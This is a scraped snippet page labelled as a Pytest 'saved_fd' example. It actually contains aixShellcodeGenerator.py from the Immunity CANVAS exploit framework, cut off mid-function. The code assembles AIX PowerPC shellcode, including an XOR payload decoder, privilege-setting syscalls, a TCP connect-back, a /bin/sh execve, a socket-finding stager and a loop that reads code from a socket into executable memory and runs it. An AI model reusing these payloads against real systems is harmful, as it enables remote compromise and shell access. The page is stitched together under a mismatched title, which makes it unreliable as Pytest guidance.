How to use saved_fd method in Pytest

Best Python code snippet using pytest

aixShellcodeGenerator.py

Source:aixShellcodeGenerator.py Github

copy

Full Screen

1##ImmunityHeader v1 2###############################################################################3## File : aixShellcodeGenerator.py4## Description: 5## : 6## Created_On : Tue Oct 27 12:00:08 20097## Created_By : Bas Alberts8## Modified_On: 9## Modified_On: Tue Oct 27 12:05:12 200910## Modified_By: Bas Alberts11## (c) Copyright 2009, Immunity Inc all rights reserved.12###############################################################################13#! /usr/bin/env python14#Proprietary CANVAS source code - use only under the license agreement15#specified in LICENSE.txt in your CANVAS distribution16#Copyright Immunity, Inc, 2002-200617#http://www.immunityinc.com/CANVAS/ for more information18import sys19import socket20import struct21sys.path.append('.')22from MOSDEF import GetMOSDEFlibc23from MOSDEF import mosdef24from ppcShellcodeGenerator import ppc as powerpcShellcodeGenerator25from exploitutils import *26from internal import devlog 27import libs.dtspcd_client as dtspcd_client28def get_aix_version(host):29 """ get the AIX uname from dtspcd """30 try:31 dtuname = dtspcd_client.DTSPCDClient(host)32 dtuname.setup()33 unamedict = dtuname.get_uname()34 OS = unamedict['os'].upper()35 if 'AIX' in OS:36 # need to know what an AIX 6 looks like !!!37 version = '5.%d' % int(unamedict['version'])38 return version39 except Exception, msg:40 import traceback41 traceback.print_exc(file=sys.stderr)42 print "[X] could not determine AIX version via DTSPCD .. assuming 5.1\n"43 44 return '5.1'45class aix_powerpc(powerpcShellcodeGenerator):46 47 def __init__(self, version = "5.1"):48 powerpcShellcodeGenerator.__init__(self)49 self.libc = GetMOSDEFlibc('AIX', 'powerpc', version)50 self.handlers['sync'] = self.sync51 self.handlers['debug'] = self.trap52 self.handlers["exit"] = self.exit53 self.handlers["read_and_exec_loop"] = self.read_and_exec_loop54 self.handlers["read_and_exec_loop_no_errno"] = self.read_and_exec_loop_no_errno55 self.handlers["GOOOFindSock"] = self.GOOOFindSock56 self.handlers["GOOOFindSock_no_errno"] = self.GOOOFindSock_no_errno57 self.handlers["sendreg"] = self.sendreg58 self.handlers["munmap_caller"] = self.munmap_caller59 self.handlers["flushcache"] = self.flushcache60 self.handlers['setuid'] = self.setuid61 self.handlers['seteuid'] = self.seteuid62 self.handlers['setgid'] = self.setgid63 self.handlers['setegid'] = self.setegid64 self.handlers['setreuid'] = self.setreuid65 self.handlers['execve'] = self.execve66 self.handlers['tcp_connect'] = self.tcp_connect67 # this expects assembled payload ..68 def xor_encode(self, payload, version = '5.1', xormask = 0xfe, debug = False):69 """ return an XOR encoded payload """70 71 encoded = []72 for c in payload:73 encoded.append( "%c" % (ord(c) ^ xormask))74 if ord(c) ^ xormask in [0x00]: # badchars75 devlog("aixshellcode","POSSIBLE BAD CHAR in %X ^ %X" % (ord(c), xormask) )76 encoded = ''.join(encoded)77 safe_size = 178 while (not ((safe_size + len(encoded)) & 0xff00) or \79 not ((safe_size + len(encoded)) & 0x00ff)):80 safe_size += 181 # safe mask that doesn't cause nul bytes82 print "Found safe size of %x" % safe_size83 decoder = """ 84 .start:85 xor. r2,r2,r286 subic. r2,r2,187 cmpwi r2,-188 bgtl .start ! preventing common bad char @89 mflr r1590 addi r15,r15, 0x0145 ! offset 17 * 4 == 0x4491 addi r15,r15,-0x010192 xor r16,r16,r1693 addi r16,r16, 0x%x ! size + 0x010194 addi r16,r16,-0x%x95 .xorloop:96 lbzx r17,r16,r1597 xori r18,r17,0xfe%.2x ! XOR98 stbx r18,r16,r1599 subic. r16,r16,1 ! yesh i know .. off by one100 cmpwi r16,-1101 bgtl .xorloop ! preventing common bad char @102 .sync:103 addi r2,r2, 0x%x ! SYS_sync + 0x0101104 addi r2,r2,-0x101105 crorc 6,6,6106 mtlr r15107 .long 0x44ffff02 ! svca 0 .. with no nuls108 .payload:109 """ % ( len(encoded) + safe_size, safe_size, xormask, 0x0101 + int(self.libc.getdefine('SYS_sync'))) 110 decoder = mosdef.assemble(decoder, 'PPC') + encoded111 # dump it for debugging ...112 if debug == True:113 import struct114 i = 0115 print "### pre encoding ###"116 while i < len(payload):117 print "%.8X" % struct.unpack('>L', payload[i:i+4])[0]118 i += 4119 i = 0120 print "### post encoding ###"121 while i < len(decoder):122 print "%.8X" % struct.unpack('>L', decoder[i:i+4])[0]123 i += 4124 return decoder125 def sync(self, args):126 """ sync stub """127 self.code += """128 sync129 isync130 """131 def trap(self, args):132 """ trap stub """133 self.code += """134 trap135 """136 def exit(self, args):137 code="""138 exit:139 li r2, SYS__exit140 crorc 6, 6, 6141 sc142 """143 code = self.libc.patch_defines_with_values(code, ["SYS__exit"])144 self.code += code145 def setuid(self, args):146 code="""147 setuid:148 mflr r20149 li r3, 0x%x150 li r2, SYS_setuid151 addi r20,r20,setuid_out - setuid152 mtlr r20153 crorc 6, 6, 6154 sc155 setuid_out:156 """ % args['uid']157 code = self.libc.patch_defines_with_values(code, ["SYS_setuid"])158 self.code += code159 160 def seteuid(self, args):161 code="""162 seteuid:163 mflr r20164 li r3, 0x%x165 li r2, SYS_seteuid166 addi r20,r20,seteuid_out - seteuid167 mtlr r20168 crorc 6, 6, 6169 sc170 seteuid_out:171 """ % args['uid']172 code = self.libc.patch_defines_with_values(code, ["SYS_seteuid"])173 self.code += code174 def setreuid(self, args):175 code="""176 setreuid:177 mflr r20178 li r3, 0x%x179 li r4, 0x%x180 li r2, SYS_setreuid181 addi r20,r20,setreuid_out - setreuid182 mtlr r20183 crorc 6, 6, 6184 sc185 setreuid_out:186 """ % (args['ruid'], args['euid'])187 code = self.libc.patch_defines_with_values(code, ["SYS_setreuid"])188 self.code += code189 190 def setgid(self, args):191 code="""192 setgid:193 mflr r20194 li r3, 0x%x195 li r2, SYS_setgid196 addi r20,r20,setgid_out - setgid197 mtlr r20198 crorc 6, 6, 6199 sc200 setgid_out:201 """ % args['gid']202 code = self.libc.patch_defines_with_values(code, ["SYS_setgid"])203 self.code += code204 205 def setegid(self, args):206 code="""207 setegid:208 mflr r20209 li r3, 1210 li r4, 0x%x211 li r2, SYS_setgidx212 addi r20,r20,setegid_out - setegid213 mtlr r20214 crorc 6, 6, 6215 sc216 setegid_out:217 """ % args['gid']218 code = self.libc.patch_defines_with_values(code, ["SYS_setgidx"])219 self.code += code220 221 # simple tcp connect back222 def tcp_connect(self, args):223 """224aix 5.2:/usr/include/netinet/in.h225struct in_addr {226 in_addr_t s_addr;227};228...229/*230 * Socket address, internet style.231 */232struct sockaddr_in {233 uchar_t sin_len;234 sa_family_t sin_family;235 in_port_t sin_port;236 struct in_addr sin_addr;237 uchar_t sin_zero[8];238};239 """240 if 'ip' not in args.keys() or 'port' not in args.keys():241 print "XXX: missing ip|port arguments!"242 addr = struct.unpack('!L', socket.inet_aton(args['ip']))[0]243 #print "XXX: %X" % addr244 #print "XXX: ip %s" % args['ip']245 #print "XXX: port %d" % args['port']246 code="""247 !trap248 socket:249 mflr r20250 li r3, AF_INET251 li r4, SOCK_STREAM252 li r5, 0253 li r2, SYS_socket254 addi r20,r20,connect - socket255 mtlr r20256 crorc 6, 6, 6257 sc258 connect:259 ! r3 has fd already260 mr r30, r3 ! mosdef expects reg in r30261 stwu r1,-16(r1) ! get stack space262 li r4, 16 263 stb r4, 0(r1) ! sin_len264 li r4, AF_INET265 stb r4, 1(r1) ! sin_family266 li r4, 0x%.4X267 sth r4, 2(r1) ! sin_port268 lis r4, 0x%.4X ! high word of address269 ori r4, r4, 0x%.4X ! low word of address270 stw r4, 4(r1)271 xor. r4, r4, r4272 stw r4, 8(r1) ! sin_zero273 stw r4, 12(r1) ! sin_zero274 mr r4, r1275 li r5, 16276 li r2, SYS_connect277 addi r20,r20,connect_out - connect278 mtlr r20279 crorc 6, 6, 6280 sc281 connect_out:282 addi r1, r1, 16 ! restore stack pointer283 284 """ % (args['port'],285 (addr>>16) & 0xffff,286 (addr & 0xffff))287 288 code = self.libc.patch_defines_with_values(code, ['AF_INET',289 'SOCK_STREAM',290 'SYS_socket',291 'SYS_connect'])292 self.code += code293 294 # simple shell execve295 def execve(self, args):296 code="""297 !trap298 execve:299 mflr r20300 addi r3, r20, shell - execve301 stw r3, -8(r1)302 xor r4, r4, r4303 mr r5, r4304 stw r4, -4(r1)305 subi r4, r1, 8306 li r2,SYS_execve307 addi r20, r20, execve_out - execve308 mtlr r20309 crorc 6, 6, 6310 sc311 shell:312 ! 8 byte aligned313 .byte 0x2f314 .byte 0x62315 .byte 0x69316 .byte 0x6e317 .byte 0x2f318 .byte 0x73319 .byte 0x68320 .byte 0x00321 execve_out:322 """323 code = self.libc.patch_defines_with_values(code, ['SYS_execve'])324 self.code += code325 326 def GOOOFindSock(self,args):327 code = """328 ! input:329 ! ------330 ! nothing331 332 ! output:333 ! -------334 ! r30 = fd335 ! r21 = GOOO_pcloc336 337 ! before all asm code (MOSDEF entry point)338 339 GOOOFindSock:340 341 ! get our current location in memory342 xor. r6, r6, r6343 bnel GOOOFindSock344 ! <-- that addr is now in $lr345 GOOO_pcloc:346 mflr r21347 348 ! sync our memory block from cache349 addi r20, r21, sync_out - GOOO_pcloc350 mtlr r20351 li r2, SYS_sync352 crorc 6, 6, 6353 sc354 sync_out:355 356 ! prepare the stack and static values357 ! sp = fp - 9456358 ! sp: [saved regs] [sa(128) 56:184] [fds(1024*8=8192) 184:8376] [buf(1024) 8376:9400] [salen(4) 9400:9404]359 stwu r1, -9456(r1) ! save stack360 addi r22, r1, 184 ! r22:fds ! 8192361 addi r26, r1, 56 ! r26:sa -> buf ! 128 XXX362 addi r23, r1, 8376 ! r23:buf ! 1024363 li r27, 128 ! r27:sizeof(ss)364 lwz r25, 9476(r1) ! 20 + 9456 = 20(sp)365 lwz r25, 64(r25) ! r25:&errno366 mr r29, r22 ! r29:pfds = r22:fds367 lis r5, 18255368 ori r24, r5, 20303 ! r24 = "GOOO"369 370 GOOO_main_loop:371 li r28, 0 ! nfds = 0372 li r30, 10 ! for r30:fd_temp = 1024373 374 getpeername_loop:375 stw r27, 9400(r1) ! salen:9400(r1) = *r27376 377 ! getpeername(fd, sa, &salen);378 mr r3, r30 ! arg0 = fd_temp379 addi r4, r1, 56 ! arg1 = sa380 addi r5, r1, 9400 ! arg2 = salen381 addi r20, r21, getpeername_out - GOOO_pcloc382 mtlr r20383 li r2, SYS_ngetpeername384 crorc 6, 6, 6385 sc386 getpeername_out:387 388 cmpwi r3, -1389 bne- getpeername_succeeded ! getpeername() != -1390 ! here getpeername() returned -1391 lwz r3, 0(r25) ! errno392 cmpwi r3, EBADF393 beq- close_badfd_out ! if errno == EBADF, errno != [ENOTSOCK or ENOTCONN]394 395 ! getpeername() returned ENOTSOCK or ENOTCONN -> close fd396 mr r3,r30 ! arg0 = fd_temp397 addi r20, r21, close_badfd_out - GOOO_pcloc398 mtlr r20399 li r2, SYS_close400 crorc 6, 6, 6401 sc402 close_badfd_out:403 404 getpeername_preloop:405 addic. r30, r30, -1 ! fd_temp--406 bge+ getpeername_loop407 408 ! if nfds == 0 smth is wrong409 cmpwi r28, 0 ! nfds == 0 -> GOOO_failed410 beq- GOOO_failed411 412 ! LOOP set events = POLLIN413 mr r29, r22 ! r29:pfds = r22:fds414 ble- poll_set_events_done415 mtctr r28 ! r28:nfds416 li r9, POLLIN ! events = POLLIN417 li r0, 0 ! revents = 0418 poll_set_events:419 sth r9, 4(r29) ! pfds->events = POLLIN420 sth r0, 6(r29) ! pfds->revents = 0421 addi r29, r29, 8 ! pfds++422 bdnz+ poll_set_events423 poll_set_events_done:424 425 call_poll:426 mr r3, r22 ! arg0 = r22:fds427 mr r4, r28 ! arg1 = r28:nfds428 li r5, INF_TIMEOUT429 addi r20, r21, call_poll_out - GOOO_pcloc430 mtlr r20431 li r2, SYS_poll432 crorc 6, 6, 6433 sc434 call_poll_out:435 436 ! check poll() returned -1437 cmpwi r3, -1438 beq- poll_returned_error439 ! check poll() returned 0440 cmpwi r3,0441 beq- GOOO_failed442 443 ! poll() returned something XXX444 mr r29, r22 ! r29:pfds = r22:fds445 li r30, 0 ! for fd_temp = 0446 cmpw r30, r28 ! fd_temp < r28:nfds447 bge- GOOO_main_loop448 449 check_next_polled_revents:450 lhz r7, 6(r29) ! r7 = pfds->revents451 ori r6, r7, POLLIN452 cmpwi r6, 0 ! if (pfds->revents | POLLIN)453 bne- revents_IS_POLLIN454 455 revents_isnt_POLLIN:456 addi r30, r30, 1 ! fd_temp++457 addi r29, r29, 8 ! pfds++458 cmpw r30, r28 ! fd_temp < r28:nfds459 blt+ check_next_polled_revents460 b GOOO_main_loop461 462 revents_IS_POLLIN:463 ! read_magic:464 lwz r3, 0(r29) ! arg0 = pfds->fd465 mr r4, r23 ! arg1 = r4 = r23:buf466 li r5, 4 ! arg2 = sizeof(int) = 4467 li r5, 4468 addi r20, r21, read_magic_out - GOOO_pcloc469 mtlr r20470 li r2, SYS_read471 crorc 6, 6, 6472 sc473 read_magic_out:474 475 cmpwi r3,4 ! r == sizeof(MAGIC) - 1476 beq- good_magic_size_read477 478 ! closing bad polled fd479 close_polled_fd_that_didnt_answered_well_to_trigger:480 li r2, SYS_close481 lwz r3,0(r29) ! arg0 = pfds->fd482 addi r20, r21, close_badmagicfd_out - GOOO_pcloc483 mtlr r20484 crorc 6, 6, 6485 sc486 close_badmagicfd_out:487 488 b revents_isnt_POLLIN489 490 good_magic_size_read:491 lwz r9, 8376(r1) ! buf = 8376(r1)492 cmpw r9, r24 ! *lmagic == LMAGIC493 bne+ close_polled_fd_that_didnt_answered_well_to_trigger494 495 ! success MAGIC!496 lwz r30, 0(r29) ! saved_fd = pfds->fd // saving valid_fd497 498 ! reply MAGIC499 mr r3, r30 ! arg0 = fd500 li r5, 4 ! arg2 = 4501 mr r4, r23 ! arg1 = buf502 addi r20, r21, write_trigger_out - GOOO_pcloc503 mtlr r20504 li r2, SYS_write505 crorc 6, 6, 6506 sc507 write_trigger_out:508 509 ! LOOP close all other fd510 ! here r28 = nfds511 mr r29, r22 ! r29 = r22:fds512 cmpwi r28, 0 ! while r < nfds ???513 ble- found_sockfd514 mr r31, r28 ! tmpfd = r31 = nfds515 close_all_but_saved_fd:516 lwz r3, 0(r29) ! arg0 = pfds->fd517 addi r29, r29, 8 ! pfds++518 cmpw r30, r3 ! pfds->fd == saved_fd ?519 beq- do_not_close_the_saved_fd520 ! else close!!!521 addi r20, r21, close_all_but_saved_fd_out - GOOO_pcloc522 mtlr r20523 li r2, SYS_close524 crorc 6, 6, 6525 sc526 close_all_but_saved_fd_out:527 do_not_close_the_saved_fd:528 addic. r31, r31, -1 ! tmpfd--529 bne+ close_all_but_saved_fd530 531 b found_sockfd532 533 getpeername_succeeded:534 ! fdflags = fcntl(saved_fd, F_GETFL, 0);535 mr r3, r30 ! arg0 = fd_temp536 li r4, F_GETFL ! arg1537 li r5, 0 ! arg2538 addi r20, r21, fcntl_getsockflags_out1 - GOOO_pcloc539 mtlr r20540 li r2, SYS_fcntl541 crorc 6, 6, 6542 sc543 fcntl_getsockflags_out1:544 545 ! flags in r3546 cmpwi r3, -1547 bne+ fcntl_getsockflags_ok1548 fcntl_getsockflags_failed1:549 li r3, 0550 fcntl_getsockflags_ok1:551 ori r5, r3, O_NONBLOCK ! arg2 = O_NONBLOCK552 553 ! fcntl(saved_fd, F_SETFL, fdflags | O_NONBLOCK);554 mr r3, r30 ! arg0 = fd_temp555 li r4, F_SETFL ! arg1 = F_SETFL556 addi r20, r21, fcntl_out - GOOO_pcloc557 mtlr r20558 li r2, SYS_fcntl559 crorc 6, 6, 6560 sc561 fcntl_out:562 563 addi r28, r28, 1 ! nfds++;564 stw r30, 0(r29) ! pfds->fd = fd;565 addi r29, r29, 8 ! pfds++;566 b getpeername_preloop 567 568 poll_returned_error:569 ! check poll() returned EINTR570 lwz r4, 0(r25) ! errno571 cmpwi r4, EINTR ! errno == EINTR?572 beq- GOOO_main_loop573 ! poll() fatal error574 575 ! _exit(random)576 GOOO_failed:577 li r2, SYS__exit578 crorc 6, 6, 6579 sc580 581 found_sockfd:582 ! out of GOOOFindSock: success583 584 ! fcntl(saved_fd, F_GETFL, 0);585 li r2, SYS_fcntl586 mr r3, r30 ! arg0 = saved_fd587 li r4, F_GETFL ! arg1588 li r5, 0 ! arg2589 addi r20, r21, fcntl_getsockflags_out - GOOO_pcloc590 mtlr r20591 crorc 6, 6, 6592 sc593 fcntl_getsockflags_out:594 595 ! flags in r3596 cmpwi r3, -1597 bne+ fcntl_getsockflags_ok598 fcntl_getsockflags_failed:599 li r3, 0600 fcntl_getsockflags_ok:601 andi. r5, r3, O_BLOCK ! arg2602 603 ! fcntl(saved_fd, F_SETFL, ~O_NONBLOCK);604 li r2, SYS_fcntl605 mr r3, r30 ! arg0 = saved_fd606 li r4, F_SETFL ! arg1 = F_SETFL607 addi r20, r21, fcntl_setblock_out - GOOO_pcloc608 mtlr r20609 crorc 6, 6, 6610 sc611 fcntl_setblock_out:612 613 addi r1,r1,9456 ! restore stack614 615 ! here come another code, and $pc continue executing it616 ! remember we have r30 = sockfd617 """618 syscalls = ["SYS_sync", "SYS_ngetpeername", "SYS_poll", "SYS__exit"]619 syscalls += ["SYS_fcntl", "SYS_close", "SYS_read", "SYS_write"]620 constants = ["EBADF", "EINTR", "POLLIN", "INF_TIMEOUT", "F_GETFL", "F_SETFL", "O_NONBLOCK", "O_BLOCK"]621 code = self.libc.patch_defines_with_values(code, syscalls + constants)622 self.code+=code623 624 # for when you hose errno loc on stack ovf625 def GOOOFindSock_no_errno(self,args):626 code = """627 ! input:628 ! ------629 ! nothing630 631 ! output:632 ! -------633 ! r30 = fd634 ! r21 = GOOO_pcloc635 636 ! before all asm code (MOSDEF entry point)637 638 GOOOFindSock:639 640 ! get our current location in memory641 xor. r6, r6, r6642 bnel GOOOFindSock643 ! <-- that addr is now in $lr644 GOOO_pcloc:645 mflr r21646 647 ! sync our memory block from cache648 addi r20, r21, sync_out - GOOO_pcloc649 mtlr r20650 li r2, SYS_sync651 crorc 6, 6, 6652 sc653 sync_out:654 655 ! prepare the stack and static values656 ! sp = fp - 9456657 ! sp: [saved regs] [sa(128) 56:184] [fds(1024*8=8192) 184:8376] [buf(1024) 8376:9400] [salen(4) 9400:9404]658 stwu r1, -9456(r1) ! save stack659 addi r22, r1, 184 ! r22:fds ! 8192660 addi r26, r1, 56 ! r26:sa -> buf ! 128 XXX661 addi r23, r1, 8376 ! r23:buf ! 1024662 li r27, 128 ! r27:sizeof(ss)663 mr r29, r22 ! r29:pfds = r22:fds664 lis r5, 18255665 ori r24, r5, 20303 ! r24 = "GOOO"666 667 GOOO_main_loop:668 li r28, 0 ! nfds = 0669 li r30, 10 ! for r30:fd_temp = 1024670 671 getpeername_loop:672 stw r27, 9400(r1) ! salen:9400(r1) = *r27673 674 ! getpeername(fd, sa, &salen);675 mr r3, r30 ! arg0 = fd_temp676 addi r4, r1, 56 ! arg1 = sa677 addi r5, r1, 9400 ! arg2 = salen678 addi r20, r21, getpeername_out - GOOO_pcloc679 mtlr r20680 li r2, SYS_ngetpeername681 crorc 6, 6, 6682 sc683 getpeername_out:684 685 cmpwi r3, -1686 bne- getpeername_succeeded ! getpeername() != -1687 688 getpeername_preloop:689 addic. r30, r30, -1 ! fd_temp--690 bge+ getpeername_loop691 692 ! if nfds == 0 smth is wrong693 cmpwi r28, 0 ! nfds == 0 -> GOOO_failed694 beq- GOOO_failed695 696 ! LOOP set events = POLLIN697 mr r29, r22 ! r29:pfds = r22:fds698 ble- poll_set_events_done699 mtctr r28 ! r28:nfds700 li r9, POLLIN ! events = POLLIN701 li r0, 0 ! revents = 0702 poll_set_events:703 sth r9, 4(r29) ! pfds->events = POLLIN704 sth r0, 6(r29) ! pfds->revents = 0705 addi r29, r29, 8 ! pfds++706 bdnz+ poll_set_events707 poll_set_events_done:708 709 call_poll:710 mr r3, r22 ! arg0 = r22:fds711 mr r4, r28 ! arg1 = r28:nfds712 li r5, INF_TIMEOUT713 addi r20, r21, call_poll_out - GOOO_pcloc714 mtlr r20715 li r2, SYS_poll716 crorc 6, 6, 6717 sc718 call_poll_out:719 720 ! check poll() returned -1721 cmpwi r3, -1722 beq- poll_returned_error723 ! check poll() returned 0724 cmpwi r3,0725 beq- GOOO_failed726 727 ! poll() returned something XXX728 mr r29, r22 ! r29:pfds = r22:fds729 li r30, 0 ! for fd_temp = 0730 cmpw r30, r28 ! fd_temp < r28:nfds731 bge- GOOO_main_loop732 733 check_next_polled_revents:734 lhz r7, 6(r29) ! r7 = pfds->revents735 ori r6, r7, POLLIN736 cmpwi r6, 0 ! if (pfds->revents | POLLIN)737 bne- revents_IS_POLLIN738 739 revents_isnt_POLLIN:740 addi r30, r30, 1 ! fd_temp++741 addi r29, r29, 8 ! pfds++742 cmpw r30, r28 ! fd_temp < r28:nfds743 blt+ check_next_polled_revents744 b GOOO_main_loop745 746 revents_IS_POLLIN:747 ! read_magic:748 lwz r3, 0(r29) ! arg0 = pfds->fd749 mr r4, r23 ! arg1 = r4 = r23:buf750 li r5, 4 ! arg2 = sizeof(int) = 4751 li r5, 4752 addi r20, r21, read_magic_out - GOOO_pcloc753 mtlr r20754 li r2, SYS_read755 crorc 6, 6, 6756 sc757 read_magic_out:758 759 cmpwi r3,4 ! r == sizeof(MAGIC) - 1760 beq- good_magic_size_read761 762 ! closing bad polled fd763 close_polled_fd_that_didnt_answered_well_to_trigger:764 li r2, SYS_close765 lwz r3,0(r29) ! arg0 = pfds->fd766 addi r20, r21, close_badmagicfd_out - GOOO_pcloc767 mtlr r20768 crorc 6, 6, 6769 sc770 close_badmagicfd_out:771 772 b revents_isnt_POLLIN773 774 good_magic_size_read:775 lwz r9, 8376(r1) ! buf = 8376(r1)776 cmpw r9, r24 ! *lmagic == LMAGIC777 bne+ close_polled_fd_that_didnt_answered_well_to_trigger778 779 ! success MAGIC!780 lwz r30, 0(r29) ! saved_fd = pfds->fd // saving valid_fd781 782 ! reply MAGIC783 mr r3, r30 ! arg0 = fd784 li r5, 4 ! arg2 = 4785 mr r4, r23 ! arg1 = buf786 addi r20, r21, write_trigger_out - GOOO_pcloc787 mtlr r20788 li r2, SYS_write789 crorc 6, 6, 6790 sc791 write_trigger_out:792 793 ! LOOP close all other fd794 ! here r28 = nfds795 mr r29, r22 ! r29 = r22:fds796 cmpwi r28, 0 ! while r < nfds ???797 ble- found_sockfd798 mr r31, r28 ! tmpfd = r31 = nfds799 close_all_but_saved_fd:800 lwz r3, 0(r29) ! arg0 = pfds->fd801 addi r29, r29, 8 ! pfds++802 cmpw r30, r3 ! pfds->fd == saved_fd ?803 beq- do_not_close_the_saved_fd804 ! else close!!!805 addi r20, r21, close_all_but_saved_fd_out - GOOO_pcloc806 mtlr r20807 li r2, SYS_close808 crorc 6, 6, 6809 sc810 close_all_but_saved_fd_out:811 do_not_close_the_saved_fd:812 addic. r31, r31, -1 ! tmpfd--813 bne+ close_all_but_saved_fd814 815 b found_sockfd816 817 getpeername_succeeded:818 ! fdflags = fcntl(saved_fd, F_GETFL, 0);819 mr r3, r30 ! arg0 = fd_temp820 li r4, F_GETFL ! arg1821 li r5, 0 ! arg2822 addi r20, r21, fcntl_getsockflags_out1 - GOOO_pcloc823 mtlr r20824 li r2, SYS_fcntl825 crorc 6, 6, 6826 sc827 fcntl_getsockflags_out1:828 829 ! flags in r3830 cmpwi r3, -1831 bne+ fcntl_getsockflags_ok1832 fcntl_getsockflags_failed1:833 li r3, 0834 fcntl_getsockflags_ok1:835 ori r5, r3, O_NONBLOCK ! arg2 = O_NONBLOCK836 837 ! fcntl(saved_fd, F_SETFL, fdflags | O_NONBLOCK);838 mr r3, r30 ! arg0 = fd_temp839 li r4, F_SETFL ! arg1 = F_SETFL840 addi r20, r21, fcntl_out - GOOO_pcloc841 mtlr r20842 li r2, SYS_fcntl843 crorc 6, 6, 6844 sc845 fcntl_out:846 847 addi r28, r28, 1 ! nfds++;848 stw r30, 0(r29) ! pfds->fd = fd;849 addi r29, r29, 8 ! pfds++;850 b getpeername_preloop 851 852 poll_returned_error:853 ! poll() fatal error? deal with EINTR, but no errno!854 855 ! _exit(random)856 GOOO_failed:857 li r2, SYS__exit858 crorc 6, 6, 6859 sc860 861 found_sockfd:862 ! out of GOOOFindSock: success863 864 ! fcntl(saved_fd, F_GETFL, 0);865 li r2, SYS_fcntl866 mr r3, r30 ! arg0 = saved_fd867 li r4, F_GETFL ! arg1868 li r5, 0 ! arg2869 addi r20, r21, fcntl_getsockflags_out - GOOO_pcloc870 mtlr r20871 crorc 6, 6, 6872 sc873 fcntl_getsockflags_out:874 875 ! flags in r3876 cmpwi r3, -1877 bne+ fcntl_getsockflags_ok878 fcntl_getsockflags_failed:879 li r3, 0880 fcntl_getsockflags_ok:881 andi. r5, r3, O_BLOCK ! arg2882 883 ! fcntl(saved_fd, F_SETFL, ~O_NONBLOCK);884 li r2, SYS_fcntl885 mr r3, r30 ! arg0 = saved_fd886 li r4, F_SETFL ! arg1 = F_SETFL887 addi r20, r21, fcntl_setblock_out - GOOO_pcloc888 mtlr r20889 crorc 6, 6, 6890 sc891 fcntl_setblock_out:892 893 addi r1,r1,9456 ! restore stack894 895 ! here come another code, and $pc continue executing it896 ! remember we have r30 = sockfd897 """898 syscalls = ["SYS_sync", "SYS_ngetpeername", "SYS_poll", "SYS__exit"]899 syscalls += ["SYS_fcntl", "SYS_close", "SYS_read", "SYS_write"]900 constants = ["EBADF", "EINTR", "POLLIN", "INF_TIMEOUT", "F_GETFL", "F_SETFL", "O_NONBLOCK", "O_BLOCK"]901 code = self.libc.patch_defines_with_values(code, syscalls + constants)902 self.code+=code903 904 def read_and_exec_loop_no_errno(self, args):905 """ use this on stack overflows that break errno loc! """906 907 mmap_protections = self.libc.getdefine('PROT_EXEC')908 mmap_protections |= self.libc.getdefine('PROT_READ')909 mmap_protections |= self.libc.getdefine('PROT_WRITE')910 911 # we want to see if our 'fd' argument is a number or a register912 try:913 fd = int(args["fd"])914 fd_set_instr = "li"915 except ValueError:916 # i hope we got a register917 fd_set_instr = "mr"918 919 code = """920 ! r30 = fd921 ! r31 = codebuf // mmap922 ! r29 = bufsize923 ! r21 = pcloc924 ! r28 = codeptr925 ! r20 = tmp926 ! r18 = main_loop927 928 ! before all asm code (MOSDEF entry point)929 read_and_exec_loop:930 931 ! get our current location in memory932 xor. r6, r6, r6933 bnel read_and_exec_loop934 ! <-- that addr is now in $lr935 pcloc:936 mflr r21937 938 """939 940 # if fd is already in $r30 we wont set it again just because it's nicer941 # but we also save 4 bytes!!!942 if str(args["fd"]) != "r30":943 code += """944 ! set provided sockfd945 FD_SET_INSTR r30, FD ! fd946 """947 code += """948 949 ! mmap(0, 0x10000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_ANON, -1, 0);950 li r3, 0951 lis r4, 1952 li r5, mmap_protections953 li r6, MAP_ANON954 li r7, -1955 mr r8, r3956 addi r20, r21, mmap_out - pcloc957 mtlr r20958 li r2, SYS_mmap959 crorc 6, 6, 6960 sc961 mmap_out:962 963 cmpwi r3, MAP_FAILED964 beq- failed965 mr r31, r3 ! r31 = codebuf966 967 ! save <here> in r18 to come back directly here after exec the mmap buffer968 addi r18, r21, main_loop - pcloc969 970 main_loop:971 972 ! set the first instruction of the mmap buffer: restore lr from r18973 set r28, restore_lr_after_jmp - pcloc974 lwzx r28, r21, r28975 stw r28, 0(r31)976 977 ! read(FD, &nbytes, sizeof(nbytes));978 read_size:979 mr r3, r30 ! r30 = sockfd980 addi r4, r31, 4 ! &mmap[4]981 li r5, 4982 addi r20, r21, readsize_out - pcloc983 mtlr r20984 li r2, SYS_kread985 crorc 6, 6, 6986 sc987 readsize_out:988 989 cmplwi r3, 4 ! if (r != sizeof(nbytes))990 beq+ readsize_is_4_valid991 b failed992 readsize_is_4_valid:993 lwz r29, 4(r31) ! r29 = *mmap[4] = codesize994 995 ! prepare r28 before read loop996 addi r28, r31, 4 ! r28 = mmap_ptr = &mmap[4]997 998 ! read(FD, codeptr, nbytes);999 read_buf:1000 cmpwi r29, 0 ! while (nbytes) ! do we still need to read some bytes?1001 beq- exec_code ! if no, we can exec the recently read code1002 mr r3, r30 ! arg0 = r30 = sockfd1003 mr r4, r28 ! arg1 = mmap_ptr1004 mr r5, r29 ! arg2 = codesize1005 addi r20, r21, read_out - pcloc1006 mtlr r201007 li r2, SYS_kread1008 crorc 6, 6, 61009 sc1010 read_out:1011 1012 cmpwi r3, 01013 bgt+ read_out_ok ! we read smth1014 b failed ! no errno support on stack overflows1015 read_out_ok:1016 add r28, r28, r3 ! mmap_ptr += read_size1017 subfc r29, r3, r29 ! codesize -= read_size1018 bne- read_buf ! if codesize != 0: continue to read on sockfd1019 1020 exec_code:1021 mtlr r311022 li r2, SYS_sync1023 crorc 6, 6, 61024 sc1025 1026 ! _exit(random)1027 failed:1028 li r2, SYS__exit1029 crorc 6, 6, 61030 sc1031 1032 ! never reached1033 1034 ! following is used to patch sent code1035 restore_lr_after_jmp:1036 mtlr r181037 """1038 syscalls = ["SYS_mmap", "SYS_kread", "SYS__exit", "SYS_sync"]1039 constants = ["MAP_ANON", "MAP_FAILED"]1040 code = self.libc.patch_defines_with_values(code, syscalls + constants)1041 code = code.replace('mmap_protections', "%s" % mmap_protections)1042 code = code.replace("FD_SET_INSTR", fd_set_instr)1043 code = code.replace("FD", str(args["fd"]))1044 self.code+=code1045 1046 def read_and_exec_loop(self, args):1047 1048 mmap_protections = self.libc.getdefine('PROT_EXEC')1049 mmap_protections |= self.libc.getdefine('PROT_READ')1050 mmap_protections |= self.libc.getdefine('PROT_WRITE')1051 1052 # we want to see if our 'fd' argument is a number or a register1053 try:1054 fd = int(args["fd"])1055 fd_set_instr = "li"1056 except ValueError:1057 # i hope we got a register1058 fd_set_instr = "mr"1059 1060 code = """1061 ! r30 = 